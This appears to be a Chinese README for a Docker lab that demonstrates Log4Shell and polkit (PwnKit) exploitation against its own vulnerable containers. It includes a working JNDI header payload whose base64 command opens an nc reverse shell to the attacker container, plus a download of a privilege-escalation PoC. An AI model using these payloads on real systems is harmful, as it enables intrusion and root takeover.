用于 log4j Apache 漏洞利用及通过 polkit 进行权限提升的易受攻击实例
完成以下步骤后,易受攻击的实例将在 80 端口(暴露给宿主机)上运行并监听连接。log4j 漏洞利用的易受攻击部分在于发送给服务器的 X-Api-Version 请求头。
Docker: log4j-polkit-vulnerable-server
拉取并运行易受攻击的 docker 镜像的步骤:
docker pull 0xalwayslucky/log4j-polkit-vulnerable-server
docker run -p 80:8080 0xalwayslucky/log4j-polkit-vulnerable-server
手动创建 log4j + polkit 易受攻击实例的步骤:
注意:Dockerfile 要求 ubuntu 软件仓库中存在特定版本的易受攻击应用程序。如果这些版本在任何时候被更新和/或移除,docker 镜像将无法构建。为解决此问题,镜像将上传到 docker hub 并在此处提供链接。
git clone https://github.com/0xalwayslucky/log4j-polkit-poc
cd log4j-polkit-poc/log4j-polkit-vuln
docker build -t log4j-polkit-vulnerable-server .
docker run -p 80:8080 --hostname victim log4j-polkit-vulnerable-server
这将模拟攻击者的机器,在本例中位于同一网络内(以便 docker 容器之间轻松通信),但无论攻击服务器位于何处,该漏洞利用都有效(唯一条件是受害者可以访问它)。恶意 JNDI 服务器将托管在此处,并创建一个恶意类以在受害者机器上执行任意命令。
创建模拟攻击者机器的步骤:
git clone https://github.com/0xalwayslucky/log4j-polkit-poc
cd log4j-polkit-poc/attackserver
docker build -t attackserver .
docker run -it --hostname attackserver attackserver /bin/bash
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i <ip> -p 8888 & # 在 docker 容器内
来自 PoC 视频的命令
注意:attackserver 的 IP 地址可能不同
# Log4j 漏洞利用
curl http://localhost -H 'X-Api-Version: ${jndi:ldap://172.17.0.3:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMyA0NDQ0IC1lIC9iaW4vYmFzaA==}'
# Polkit 漏洞利用
wget https://raw.githubusercontent.com/afwu/CVE-2021-4035/main/cve-2021-4034-poc.c